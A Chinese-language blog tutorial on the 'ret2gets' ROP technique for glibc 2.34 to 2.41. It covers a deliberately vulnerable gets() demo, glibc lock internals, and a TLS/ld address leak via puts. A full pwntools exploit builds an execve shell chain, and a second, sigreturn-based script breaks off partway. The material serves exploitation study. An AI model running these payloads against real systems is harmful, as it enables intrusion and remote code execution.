`ret2gets` 是用于在 `glibc >= 2.34` 没有常用 gadgets,控制不了任何参数的情况下,
通过调用 `gets`,配合 `printf / puts` 等输出函数实现 ld 地址泄漏进而为深入构造 R
OP Chain 做准备的 trick 。
:::tip
此 trick 适用于 `GLIBC >= 2.34,<= 2.41` 的 ROP Chain 构造。
:::
直接上 demo,这里使用的 GLIBC 版本是 `2.41-6ubuntu1_amd64`:
```c
// gcc -Wall vuln.c -o vuln -no-pie -fno-stack-protector -std=c99
#include <stdio.h>
int main() {
char buf[0x20];
puts("ROP me if you can!");
gets(buf);
return 0;
}
```
:::important
`gets` 函数在 C11 中被移除,所以我们编译的时候需要手动指定一个低于 C11 的标准,
比如这里指定了 C99。
:::
如果我们使用 ropper 或者其它同类工具,列出这个程序中包含的 gadgets,我们会发现它
并没有常用于控制参数的 gadgets,我们什么参数也控制不了。
```asm showLineNumbers=false collapse={4-114}
Gadgets
=======
0x000000000040106c: adc dword ptr [rax], eax; call qword ptr [rip + 0x2f53]; hlt
; nop word ptr cs:[rax + rax]; endbr64; ret;
0x000000000040106b: adc dword ptr ss:[rax], eax; call qword ptr [rip + 0x2f53];
hlt; nop word ptr cs:[rax + rax]; endbr64; ret;
0x0000000000401070: adc eax, 0x2f53; hlt; nop word ptr cs:[rax + rax]; endbr64;
ret;
0x000000000040109c: adc ecx, dword ptr [rax - 0x75]; add eax, 0x2f2c; test rax,
rax; je 0x30b0; mov edi, 0x404020; jmp rax;
0x000000000040110c: adc edx, dword ptr [rbp + 0x48]; mov ebp, esp; call 0x3090;
mov byte ptr [rip + 0x2f03], 1; pop rbp; ret;
0x0000000000401074: add ah, dh; nop word ptr cs:[rax + rax]; endbr64; ret;
0x000000000040106e: add bh, bh; adc eax, 0x2f53; hlt; nop word ptr cs:[rax + rax
]; endbr64; ret;
0x000000000040100e: add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1],
0xd0; add rsp, 8; ret;
0x000000000040107c: add byte ptr [rax], al; add byte ptr [rax], al; endbr64; ret
;
0x000000000040115a: add byte ptr [rax], al; add byte ptr [rax], al; leave; ret;
0x000000000040115b: add byte ptr [rax], al; add cl, cl; ret;
0x000000000040100d: add byte ptr [rax], al; test rax, rax; je 0x3016; call rax;
0x000000000040100d: add byte ptr [rax], al; test rax, rax; je 0x3016; call rax;
add rsp, 8; ret;
0x00000000004010a2: add byte ptr [rax], al; test rax, rax; je 0x30b0; mov edi, 0
x404020; jmp rax;
0x00000000004010a2: add byte ptr [rax], al; test rax, rax; je 0x30b0; mov edi, 0
x404020; jmp rax; ret;
0x00000000004010e4: add byte ptr [rax], al; test rax, rax; je 0x30f8; mov edi, 0
x404020; jmp rax;
0x000000000040107e: add byte ptr [rax], al; endbr64; ret;
0x0000000000401073: add byte ptr [rax], al; hlt; nop word ptr cs:[rax + rax]; en
dbr64; ret;
0x000000000040115c: add byte ptr [rax], al; leave; ret;
0x00000000004010f6: add byte ptr [rax], al; ret;
0x00000000004010f5: add byte ptr [rax], r8b; ret;
0x000000000040109a: add byte ptr [rbx + rdx + 0x48], dh; mov eax, dword ptr [rip
+ 0x2f2c]; test rax, rax; je 0x30b0; mov edi, 0x404020; jmp rax;
0x0000000000401099: add byte ptr [rbx + rdx + 0x48], sil; mov eax, dword ptr [ri
p + 0x2f2c]; test rax, rax; je 0x30b0; mov edi, 0x404020; jmp rax;
0x000000000040111b: add byte ptr [rcx], al; pop rbp; ret;
0x00000000004010e3: add byte ptr cs:[rax], al; test rax, rax; je 0x30f8; mov edi
, 0x404020; jmp rax;
0x000000000040115d: add cl, cl; ret;
0x000000000040106d: add dil, dil; adc eax, 0x2f53; hlt; nop word ptr cs:[rax + r
ax]; endbr64; ret;
0x00000000004010e1: add eax, 0x2efa; test rax, rax; je 0x30f8; mov edi, 0x404020
; jmp rax;
0x000000000040109f: add eax, 0x2f2c; test rax, rax; je 0x30b0; mov edi, 0x404020
; jmp rax;
0x000000000040100a: add eax, 0x2fc9; test rax, rax; je 0x3016; call rax;
0x000000000040100a: add eax, 0x2fc9; test rax, rax; je 0x3016; call rax; add rsp
, 8; ret;
0x0000000000401017: add esp, 8; ret;
0x0000000000401016: add rsp, 8; ret;
0x0000000000401154: call 0x3040; mov eax, 0; leave; ret;
0x0000000000401111: call 0x3090; mov byte ptr [rip + 0x2f03], 1; pop rbp; ret;
0x000000000040106f: call qword ptr [rip + 0x2f53]; hlt; nop word ptr cs:[rax + r
ax]; endbr64; ret;
0x0000000000401014: call rax;
0x0000000000401014: call rax; add rsp, 8; ret;
0x0000000000401006: in al, dx; or byte ptr [rax - 0x75], cl; add eax, 0x2fc9; te
st rax, rax; je 0x3016; call rax;
0x0000000000401012: je 0x3016; call rax;
0x0000000000401012: je 0x3016; call rax; add rsp, 8; ret;
0x00000000004010a7: je 0x30b0; mov edi, 0x404020; jmp rax;
0x00000000004010a7: je 0x30b0; mov edi, 0x404020; jmp rax; ret;
0x000000000040109b: je 0x30b0; mov rax, qword ptr [rip + 0x2f2c]; test rax, rax;
je 0x30b0; mov edi, 0x404020; jmp rax;
0x00000000004010e9: je 0x30f8; mov edi, 0x404020; jmp rax;
0x00000000004010e9: je 0x30f8; mov edi, 0x404020; jmp rax; nop word ptr [rax + r
ax]; ret;
0x00000000004010dd: je 0x30f8; mov rax, qword ptr [rip + 0x2efa]; test rax, rax;
je 0x30f8; mov edi, 0x404020; jmp rax;
0x00000000004010ae: jmp rax;
0x00000000004010f0: jmp rax; nop word ptr [rax + rax]; ret;
0x00000000004010ae: jmp rax; ret;
0x000000000040114e: lea eax, [rbp - 0x20]; mov rdi, rax; call 0x3040; mov eax, 0
; leave; ret;
0x000000000040114d: lea rax, [rbp - 0x20]; mov rdi, rax; call 0x3040; mov eax, 0
; leave; ret;
0x0000000000401116: mov byte ptr [rip + 0x2f03], 1; pop rbp; ret;
0x0000000000401159: mov eax, 0; leave; ret;
0x00000000004010e0: mov eax, dword ptr [rip + 0x2efa]; test rax, rax; je 0x30f8;
mov edi, 0x404020; jmp rax;
0x000000000040109e: mov eax, dword ptr [rip + 0x2f2c]; test rax, rax; je 0x30b0;
mov edi, 0x404020; jmp rax;
0x0000000000401009: mov eax, dword ptr [rip + 0x2fc9]; test rax, rax; je 0x3016;
call rax;
0x0000000000401009: mov eax, dword ptr [rip + 0x2fc9]; test rax, rax; je 0x3016;
call rax; add rsp, 8; ret;
0x000000000040110f: mov ebp, esp; call 0x3090; mov byte ptr [rip + 0x2f03], 1; p
op rbp; ret;
0x0000000000401069: mov edi, 0x401136; call qword ptr [rip + 0x2f53]; hlt; nop w
ord ptr cs:[rax + rax]; endbr64; ret;
0x00000000004010a9: mov edi, 0x404020; jmp rax;
0x00000000004010eb: mov edi, 0x404020; jmp rax; nop word ptr [rax + rax]; ret;
0x00000000004010a9: mov edi, 0x404020; jmp rax; ret;
0x0000000000401152: mov edi, eax; call 0x3040; mov eax, 0; leave; ret;
0x00000000004010df: mov rax, qword ptr [rip + 0x2efa]; test rax, rax; je 0x30f8;
mov edi, 0x404020; jmp rax;
0x000000000040109d: mov rax, qword ptr [rip + 0x2f2c]; test rax, rax; je 0x30b0;
mov edi, 0x404020; jmp rax;
0x0000000000401008: mov rax, qword ptr [rip + 0x2fc9]; test rax, rax; je 0x3016;
call rax;
0x0000000000401008: mov rax, qword ptr [rip + 0x2fc9]; test rax, rax; je 0x3016;
call rax; add rsp, 8; ret;
0x000000000040110e: mov rbp, rsp; call 0x3090; mov byte ptr [rip + 0x2f03], 1; p
op rbp; ret;
0x0000000000401068: mov rdi, 0x401136; call qword ptr [rip + 0x2f53]; hlt; nop w
ord ptr cs:[rax + rax]; endbr64; ret;
0x0000000000401151: mov rdi, rax; call 0x3040; mov eax, 0; leave; ret;
0x0000000000401078: nop dword ptr [rax + rax]; endbr64; ret;
0x00000000004010f3: nop dword ptr [rax + rax]; ret;
0x0000000000401077: nop dword ptr cs:[rax + rax]; endbr64; ret;
0x00000000004010f2: nop word ptr [rax + rax]; ret;
0x0000000000401076: nop word ptr cs:[rax + rax]; endbr64; ret;
0x0000000000401007: or byte ptr [rax - 0x75], cl; add eax, 0x2fc9; test rax, rax
; je 0x3016; call rax;
0x000000000040111d: pop rbp; ret;
0x000000000040110d: push rbp; mov rbp, rsp; call 0x3090; mov byte ptr [rip + 0x2
f03], 1; pop rbp; ret;
0x0000000000401042: ret 0x2f;
0x0000000000401011: sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret;
0x00000000004010de: sbb dword ptr [rax - 0x75], ecx; add eax, 0x2efa; test rax,
rax; je 0x30f8; mov edi, 0x404020; jmp rax;
0x00000000004010a0: sub al, 0x2f; add byte ptr [rax], al; test rax, rax; je 0x30
b0; mov edi, 0x404020; jmp rax;
0x0000000000401165: sub esp, 8; add rsp, 8; ret;
0x0000000000401005: sub esp, 8; mov rax, qword ptr [rip + 0x2fc9]; test rax, rax
; je 0x3016; call rax;
0x0000000000401164: sub rsp, 8; add rsp, 8; ret;
0x0000000000401004: sub rsp, 8; mov rax, qword ptr [rip + 0x2fc9]; test rax, rax
; je 0x3016; call rax;
0x000000000040107a: test byte ptr [rax], al; add byte ptr [rax], al; add byte pt
r [rax], al; endbr64; ret;
0x0000000000401010: test eax, eax; je 0x3016; call rax;
0x0000000000401010: test eax, eax; je 0x3016; call rax; add rsp, 8; ret;
0x00000000004010a5: test eax, eax; je 0x30b0; mov edi, 0x404020; jmp rax;
0x00000000004010a5: test eax, eax; je 0x30b0; mov edi, 0x404020; jmp rax; ret;
0x00000000004010e7: test eax, eax; je 0x30f8; mov edi, 0x404020; jmp rax;
0x00000000004010e7: test eax, eax; je 0x30f8; mov edi, 0x404020; jmp rax; nop wo
rd ptr [rax + rax]; ret;
0x000000000040100f: test rax, rax; je 0x3016; call rax;
0x000000000040100f: test rax, rax; je 0x3016; call rax; add rsp, 8; ret;
0x00000000004010a4: test rax, rax; je 0x30b0; mov edi, 0x404020; jmp rax;
0x00000000004010a4: test rax, rax; je 0x30b0; mov edi, 0x404020; jmp rax; ret;
0x00000000004010e6: test rax, rax; je 0x30f8; mov edi, 0x404020; jmp rax;
0x00000000004010e6: test rax, rax; je 0x30f8; mov edi, 0x404020; jmp rax; nop wo
rd ptr [rax + rax]; ret;
0x00000000004010e2: cli; add byte ptr cs:[rax], al; test rax, rax; je 0x30f8; mo
v edi, 0x404020; jmp rax;
0x0000000000401163: cli; sub rsp, 8; add rsp, 8; ret;
0x0000000000401003: cli; sub rsp, 8; mov rax, qword ptr [rip + 0x2fc9]; test rax
, rax; je 0x3016; call rax;
0x0000000000401083: cli; ret;
0x0000000000401160: endbr64; sub rsp, 8; add rsp, 8; ret;
0x0000000000401000: endbr64; sub rsp, 8; mov rax, qword ptr [rip + 0x2fc9]; test
rax, rax; je 0x3016; call rax;
0x0000000000401080: endbr64; ret;
0x0000000000401075: hlt; nop word ptr cs:[rax + rax]; endbr64; ret;
0x000000000040115e: leave; ret;
0x000000000040111f: nop; ret;
0x000000000040101a: ret;
111 gadgets found
```
这是因为原先的这些控制寄存器的 gadgets 都是来自于 `__libc_csu_init`,而现在这个
函数因为包含了易于构造 ROP Chain 的 gadgets,在 GLIBC 2.34 中已经被 [patch](http
s://sourceware.org/pipermail/libc-alpha/2021-February/122794.html) 了,导致我们
现在很难再找到有用的 gadgets 。
这里我们在调用 `gets` 的地方下断点,执行 `gets` 之前 `rdi` 指向的是 buf 的栈地址
,`ni`,随便输入什么后,发现 `rdi` 寄存器变成了 `*RDI 0x7ffff7e137c0 (_IO_stdfi
le_0_lock) <- 0`:
定位一下,发现该结构体位于 libc 后的 rw 匿名映射段中:
```asm showLineNumbers=false
pwndbg> vmmap $rdi
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefe
r-relpaths on)
0x7ffff7e11000 0x7ffff7e13000 rw-p 2000 210000 libc.so.6
-> 0x7ffff7e13000 0x7ffff7e20000 rw-p d000 0 [anon_7ffff7e13] +0x
7c0
0x7ffff7fb4000 0x7ffff7fb9000 rw-p 5000 0 [anon_7ffff7fb4]
pwndbg> x/10gx $rdi
0x7ffff7e137c0 <_IO_stdfile_0_lock>: 0x0000000000000000 0x0000000000000000
0x7ffff7e137d0 <__pthread_force_elision>: 0x0000000000000000 0x0000000000000000
0x7ffff7e137e0 <__attr_list_lock>: 0x0000000000000000 0x0000000000000000
0x7ffff7e137f0 <init_sigcancel>: 0x0000000000000000 0x0000000000000000
0x7ffff7e13800 <__nptl_threads_events>: 0x0000000000000000 0x0000000000000000
```
此时如果我们再次调用 gets,我们就可以覆盖从 `_IO_stdfile_0_lock` 开始的数据,这
可能会产生一些攻击面。
这里我们先研究我们已经获得的 `_IO_stdfile_0_lock`。
## _IO_stdfile_0_lock
首先简单介绍一下 `_IO_stdfile_0_lock` 是什么,从名字上看,我们就能猜到它是一把「
锁」,肯定是用于多线程安全的,实际上也确实如此,它主要用于锁住 `FILE`。
由于 glibc 支持多线程,许多函数实现需要线程安全。如果存在多个线程可以同时使用同
一个 FILE 结构,那么当有两个线程尝试同时使用一个 FILE 结构时,就会产生条件竞争,
可能会破坏 FILE 结构。解决方案就是加锁。
:::tip
基于 [glibc-2.41](https://elixir.bootlin.com/glibc/glibc-2.41/source/libio/ioget
s.c) 的源码。
:::
```c
char *
_IO_gets (char *buf)
{
size_t count;
int ch;
char *retval;
_IO_acquire_lock (stdin);
ch = _IO_getc_unlocked (stdin);
if (ch == EOF)
{
retval = NULL;
goto unlock_return;
}
if (ch == 'n')
count = 0;
else
{
/* This is very tricky since a file descriptor may be in the
non-blocking mode. The error flag doesn't mean much in this
case. We return an error only when there is a new error. */
int old_error = stdin->_flags & _IO_ERR_SEEN;
stdin->_flags &= ~_IO_ERR_SEEN;
buf[0] = (char) ch;
count = _IO_getline (stdin, buf + 1, INT_MAX, 'n', 0) + 1;
if (stdin->_flags & _IO_ERR_SEEN)
{
retval = NULL;
goto unlock_return;
}
else
stdin->_flags |= old_error;
}
buf[count] = 0;
retval = buf;
unlock_return:
_IO_release_lock (stdin);
return retval;
}
weak_alias (_IO_gets, gets)
link_warning (gets, "the `gets' function is dangerous and should not be used.")
```
函数开始时使用 `_IO_acquire_lock` 获取锁,结束时使用 `_IO_release_lock` 释放锁。
获取锁会告知其它线程 `stdin` 当前正在被使用中,所以其余任何尝试访问 stdin 的线程
都将被强制等待,直到该线程释放锁后,其它线程才可以获取锁。
因此,`FILE` 有一个 [_lock](https://elixir.bootlin.com/glibc/glibc-2.41/source/l
ibio/bits/types/struct_FILE.h#L84) 字段,它是一个指向 [_IO_lock_t](https://elixi
r.bootlin.com/glibc/glibc-2.41/source/sysdeps/nptl/stdio-lock.h#L26) 的指针:
```c {49} collapse={1-46}
struct _IO_FILE;
struct _IO_marker;
struct _IO_codecvt;
struct _IO_wide_data;
/* During the build of glibc itself, _IO_lock_t will already have been
defined by internal headers. */
#ifndef _IO_lock_t_defined
typedef void _IO_lock_t;
#endif
/* The tag name of this struct is _IO_FILE to preserve historic
C++ mangled names for functions taking FILE* arguments.
That name should not be used in new code. */
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2:24;
/* Fallback buffer to use when malloc fails to allocate one. */
char _short_backupbuf[1];
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
```
```c
typedef struct {
int lock;
int cnt;
void *owner;
} _IO_lock_t;
```
:::important
这个 `_lock` 指针指向的就是我们 `rdi` 中的 `_IO_stdfile_0_lock`,先记住这点,下
面有用。
:::
### _IO_acquire_lock / _IO_release_lock
```c
#define _IO_USER_LOCK 0x8000
# ifdef __EXCEPTIONS
# define _IO_acquire_lock(_fp)
do {
FILE *_IO_acquire_lock_file
__attribute__((cleanup (_IO_acquire_lock_fct)))
= (_fp);
_IO_flockfile (_IO_acquire_lock_file);
# else
# define _IO_acquire_lock(_fp) _IO_acquire_lock_needs_exceptions_enabled
# endif
# define _IO_release_lock(_fp) ; } while (0)
```
`__attribute__((cleanup (_IO_acquire_lock_fct))) = (_fp);` 主要就是将 cleanup 函
数 `_IO_acquire_lock_fct` 和 `_fp` 进行一个绑定。使得在 `do { ... } while (0)`
作用域结束后自动对 `_fp` 调用 `_IO_acquire_lock_fct` 进行 cleanup 。
```c
static inline void
__attribute__ ((__always_inline__))
_IO_acquire_lock_fct (FILE **p)
{
FILE *fp = *p;
if ((fp->_flags & _IO_USER_LOCK) == 0)
_IO_funlockfile (fp);
}
```
`_IO_USER_LOCK` 标志是用来记录当前 I/O 流是否处于由用户显式请求的锁定状态。
`_IO_acquire_lock_fct` 这个 cleanup 函数主要是,若 `FILE` 没有设置 `_IO_USER_LOC
K` 标志,就对该文件解锁。
我们发现这加锁解锁层层封装了好几个宏:
```c
# define _IO_flockfile(_fp)
if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_lock_lock (*(_fp)->_lock)
# define _IO_funlockfile(_fp)
if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_lock_unlock (*(_fp)->_lock)
```
如果用户没有显示请求上锁/解锁,就调用后面的函数,否则说明用户之前已经调用过 `flo
ckfile` 或者 `funlockfile`,这个 if 将确保它不会重复上锁/解锁。
这还没完,真正执行最后上锁解锁操作的是下面的 `_IO_lock_lock` 和 `_IO_lock_unlock
`。
### _IO_lock_lock / _IO_lock_unlock
```c
/* Initializers for lock. */
#define LLL_LOCK_INITIALIZER (0)
#define LLL_LOCK_INITIALIZER_LOCKED (1)
#define _IO_lock_lock(_name)
do {
void *__self = THREAD_SELF;
if (SINGLE_THREAD_P && (_name).owner == NULL)
{
(_name).lock = LLL_LOCK_INITIALIZER_LOCKED;
(_name).owner = __self;
}
else if ((_name).owner != __self)
{
lll_lock ((_name).lock, LLL_PRIVATE);
(_name).owner = __self;
}
else
++(_name).cnt;
} while (0)
#define _IO_lock_unlock(_name)
do {
if (SINGLE_THREAD_P && (_name).cnt == 0)
{
(_name).owner = NULL;
(_name).lock = 0;
}
else if ((_name).cnt == 0)
{
(_name).owner = NULL;
lll_unlock ((_name).lock, LLL_PRIVATE);
}
else
--(_name).cnt;
} while (0)
```
这里的 `_name` 即 `_IO_stdfile_0_lock`。`owner` 字段存储当前持有锁的线程的 `TLS`
结构体地址。
加锁时,先获取当前线程 TLS 结构体地址,即 `THREAD_SELF`,然后分三种情况:
1. 单线程优化:如果是单线程环境并且锁没被占用,则直接把锁设为 `LOCKED`,并设置 `
owner`
2. 多线程竞争:如果 `(_name).owner != __self`,即锁不属于当前线程,是其他线程持
有,则调用 `lll_lock()`,阻塞直到锁可用后再尝试获取锁
3. 递归加锁:如果锁属于当前线程,说明同一线程再次加锁,则增加计数器 `cnt`
:::tip
有关 `lll_lock()` 的作用,简单来说就是:无论锁当前是否空闲,我调用它,都能保证最
终自己持有这个锁(要么立刻成功,要么阻塞直到可用)。
因为它的实现是对 `futex (fast userspace mutex)` 的封装,futex 的特性为:
- 无竞争路径:如果锁的内部状态是「未锁」,原子操作直接把它设为「已锁」,立即返回
,非常快
- 有竞争路径:如果发现锁已被其它线程持有,就会进入 futex 系统调用,把自己挂到等
待队列上,一旦对方解锁唤醒,就可以立即获取到锁
:::
释放锁的过程也很好理解:
1. 单线程优化:如果 `cnt` 为 0(没有递归加锁),直接清空 `owner`,把锁标记为解锁
2. 多线程情况:如果 `cnt` 为 0,清空 `owner`,并调用 `lll_unlock()` 释放 futex
锁
3. 递归解锁:如果 `cnt > 0`,说明是递归锁的一层,只会将 `cnt` 减一,不真正释放锁
### _IO_stdfile_0_lock in RDI ?
现在我们研究研究为啥 rdi 是 `_IO_stdfile_0_lock` 而不是别的。这里如果你使用源码
级调试的话会看得更清楚一点。
根据上面的分析,我们知道 `gets` 在最后返回的时候会调用 `_IO_release_lock (stdin)
` 来释放锁。如果你还没忘记的话,我们定义 `_IO_acquire_lock (_fp)` 的时候设置了 c
leanup 函数,将 `_fp` 和 `_IO_acquire_lock_fct` 绑定,一旦离开此作用域,就会自动
调用 `_IO_acquire_lock_fct (_fp)`,而它内部又是通过 `_IO_funlockfile (fp)` 调用
了 `_IO_lock_unlock (*(_fp)->_lock)`,完成这一整个释放锁的流程并返回。而最后调用
的 `_IO_lock_unlock (*(_fp)->_lock)` 使用的参数正是 `_IO_stdfile_0_lock`。
很关键的一点就是,`_IO_release_lock(_fp)` 也属于这个定义域,所以如果 `_IO_releas
e_lock(_fp)` 返回了,也会自动调用上面设置的 cleanup 函数。
观察上面的调试输出,我们执行完 `_IO_lock_unlock (*(_fp)->_lock)` 后就直接返回到
了 `main`,并且执行完这个函数后在 epilogue 阶段并没有恢复 rdi,也就是说 rdi 会沿
用最后一个被调用的函数的 rdi,即 `_IO_stdfile_0_lock` 这个值。
<em>
呼呼~长舒一口气~写到这里已经凌晨三点了,因为白天上了一天课(简直是虚度光阴……)
,只能晚上科研力。好在明天课免修了,我可以一直睡到早上十点半再起来,七个小时,应
该也够我睡的了 LOL
要我说,这才是大学生活该有的样子啊,哈哈哈~
</em>
至此,我们已经搞清楚了整个流程,下面就研究如何利用吧~
## Attack
### Controlling RDI
由于我们再次调用 gets 就会向 rdi,也就是 `_IO_stdfile_0_lock` 中写入数据,那如果
我们将 `/bin/sh` 写在这里,那 rdi 就变成了指向 `/bin/sh` 的字符串指针,效果与 `p
op rdi; ret` 相当。此时如果我们可以调用 system 的话,就能 getshell 了。
根据上面的分析,我们这种 `gets` 的情况最后必然会通过 `((_fp)->_flags & _IO_USER_
LOCK) == 0` 检测,进而调用 `_IO_lock_unlock (*(_fp)->_lock)`,所以我们只需要注意
不要让这个函数内部执行的东西妨碍我们的利用即可。
我们发现,只要执行 `_IO_lock_unlock` 时 `cnt` 不为 0 就可以不带什么 side effect
的安全地返回,不过它会将 `cnt` 减一,如果我们直接传入 `/bin/sh` 的话,默认已经覆
盖到了 `cnt`,但是由于减一会破坏我们的字符串,所以我们需要手动给那个位置的值加一
。
```python
payload = flat(
b"A" * 0x28,
elf.plt["gets"],
)
target.sendlineafter(b"ROP me if you can!", payload)
payload = flat(
b"/bin",
p8(u8(b"/") + 1),
b"sh",
)
target.sendline(payload)
```
从上图我们可以看到,rdi 已经变成了我们的预期值,尽管会触发 SIGSEGV,但这也是必然
的,毕竟我们还没有写入后续的 ROP Chain 。
:::tip
如果我们不手动将 `_IO_stdfile_0_lock` 的内容还原,`/bin/sh` 就会一直存在在那里,
所以后续调用 `gets` 我们都会再次令 rdi 指向 `/bin/sh`。而执行过程中的加锁虽然会
增加 `cnt`,但是执行完也会相应的进行解锁,减去 `cnt`,所以对我们写入的字符串不会
产生什么影响。
:::
### Leaking libc / ld
解决了控制 rdi 的问题后,接下来介绍几种泄漏 libc / ld 的方法。
#### printf
如果我们可以调用 `printf`,那就可以用和上面一样的方法,通过 `%?$p` 然后返回到 pr
intf 的方式泄漏任意地址。
这里就不做单独的演示了,相信实践起来还是很简单的。
#### puts
倘若没有 `printf`,只有 `puts` 的话,我们就可以通过输出 `_lock.owner` 的方式泄漏
TLS 的值,它相对于 ld 有着一个固定偏移,但是和 libc 之间没有固定偏移。
:::caution
所以下面 [ret2gets](#references) 中写的是有问题的,作者认为它和 libc 之间存在固
定偏移,但很显然 TLS 地址不属于 libc 的范围,mmap 的映射区和 libc 之间有个较大的
可映射空间,每次都会映射到这个空间内的随机位置。不过如果我们计算它与 ld 之间的偏
移,会发现这两者之间却存在固定偏移。
那 ld 中是否存在可用的 gadgets 呢?我看了下 glibc 2.41 的 ld,发现里面几乎提供了
控制每一个参数的 gadgets,甚至还有 syscall,尽管没有 onegadgets,但是我相信让你
用这些 gadgets 手动构造一个 `execve` 启 shell 绝对是手拿把掐的 xD
当然,构造 sigreturn 就可以控制所有寄存器了,不是吗?感觉又掌握了一个堪比核武器
的 trick LOL
:::
这里我只对高版本 glibc 使用 `puts` 泄漏 TLS 地址做一个总结,低版本也能用这个方法
泄漏,但是没必要。不过我相信你学会高版本中泄漏 TLS 的方法后对于低版本怎么操作一
定也没有问题。
首先回顾一下高版本 glibc 中[上锁/解锁](#_io_lock_lock--_io_lock_unlock)的代码。
当我们首次调用 `gets` 的时候,会先进行一个上锁的操作,由于我们现在是单线程程序,
且 `owner` 为 NULL,所以肯定会进入 `SINGLE_THREAD_P && (_name).owner == NULL` 检
测。这就会将锁设置为 `LLL_LOCK_INITIALIZER_LOCKED`,即上锁状态,然后设置 `owner`
为当前 TLS 结构体地址。
之后 `gets` 将要返回时会执行解锁函数,按照现在的状态来看的话,我们必定会进入 `SI
NGLE_THREAD_P && (_name).cnt == 0` 中,这会将 `owner` 和 `lock` 都清空。那就没法
用 puts 泄漏 owner 保存的 TLS 结构体地址了。
因此我们第一次调用 `gets` 可以令 rdi 指向 `_IO_stdfile_0_lock`,接着再次调用 `ge
ts`,就可以向 rdi 写入数据,写什么呢?肯定是要写能绕过检测的内容咯。
此时我们不需要管上锁逻辑,只要关注解锁的时候,不要让它把 `owner` 清空即可,那首
先就应该令 `(_name).cnt == 0` 不成立,将 `cnt` 填充为四字节垃圾值,此时 else if
也不会进入,而是进入 else 减少 `cnt` 的值。
_PS: Reference 中那篇文章这里说要绕过 `_IO_lock_lock`,我怀疑作者怕是犯糊涂了,
事实上我们这里根本不需要关心如何绕过上锁函数的逻辑……_
可以看下图,是第二次 gets 后将 `cnt` 填充为垃圾字节后的结果,此时 `owner` 还持有
着一个地址,但并不是 TLS 地址(虽然但是,这并不妨碍我们接下来泄漏 TLS):
之后它会将 `cnt` 减一,就变成了 `0x4141414000000000`。
但是此时我们还不能直接通过 `puts` 连带泄漏 TLS 地址,因为这里面包含了四个空字节
。解决方法是再调用一次 `gets`,覆盖 `lock` 的值即可。同时,由于再次调用 gets 会
再次执行上锁函数,而它将发现 `(_name).owner != __self`,进入 else if 分支,将 `o
wner` 重置为正确的 TLS 地址。
> 你可能会想,为什么不直接在第二次 gets 的时候顺便覆盖 `lock` 呢?这是因为 `gets
` 会在字符串结束后写入 `x00`,破坏 TLS 结构体地址,所以我们需要分多次慢慢来。
那么我们输入四个 junk value padding 掉 `lock` 就会导致 `cnt` 低位变成 `x00`,如
下图:
但是紧接着就会将 `cnt` 自减,`x00` 变成 `xff`:
而此时,我们发现已经不存在截断 `puts` 输出的空字节了,此时我们可以直接通过 `puts
` 输出 `_IO_stdfile_0_lock`,这会连带泄漏 TLS 结构体的地址,减掉它与 ld 的固定偏
移就拿到 ld 基地址了。同时,由于 ld 中存在大量 gadgets,我们可以尽情抒写 ROP 狂
想曲 LOL
## Exploit
### Manually call execve
```python
#!/usr/bin/env python3
from pwn import (
ELF,
ROP,
args,
context,
flat,
p32,
process,
raw_input,
remote,
u64,
)
FILE = "./vuln_patched"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
ld = ELF("./ld-linux-x86-64.so.2")
rop = ROP(ld)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
payload = flat(
b"A" * 0x28,
elf.plt["gets"],
elf.plt["gets"],
elf.plt["puts"],
elf.sym["main"],
)
raw_input("DEBUG")
target.sendlineafter(b"ROP me if you can!", payload)
payload = flat(
p32(0x0), # lock
b"A" * 0x4, # cnt
)
target.sendline(payload)
target.sendline(b"BBBB")
target.recvline()
tls = u64(target.recvline().strip()[8:].ljust(0x8, b"x00"))
ld = tls + 0xC8C0
target.success(f"tls: {hex(tls)}")
target.success(f"ld: {hex(ld)}")
gets = 0x40114D
payload = flat(
b"A" * 0x20,
elf.bss() + 0xF00,
gets,
)
target.sendlineafter(b"ROP me if you can!", payload)
payload = flat(
b"A" * 0x20,
b"/bin/shx00",
ld + rop.find_gadget(["pop rdi", "pop rbp", "ret"])[0],
elf.bss() + 0xF00,
0x0,
ld + rop.find_gadget(["pop rsi", "pop rbp", "ret"])[0],
0x0,
0x404F60,
ld + rop.find_gadget(["pop rdx", "leave", "ret"])[0],
0x0,
ld + rop.find_gadget(["pop rax", "ret"])[0],
0x3B,
ld + rop.find_gadget(["syscall", "ret"])[0],
)
target.sendline(payload)
target.interactive()
if __name__ == "__main__":
main()
```
### Using sigreturn
```python
#!/usr/bin/env python3
from pwn import (
ELF,
ROP,
SigreturnFrame,
args,
context,
flat,
p32,
process,
raw_input,
remote,
u64,
)
FILE = "./vuln_patched"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
ld = ELF("./ld-linux-x86-64.so.2")
rop = ROP(ld)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
payload = flat(
b"A" * 0x28,
elf.plt["gets"],
elf.plt["gets"],
elf.plt["puts"],
elf.sym["main"],
)
raw_input("DEBUG")
target.sendlineafter(b"ROP me if you can!", payload)
payload = flat(
p32(0x0), # lock
b"A" * 0x4, # cnt
)
target.sendline(payload)
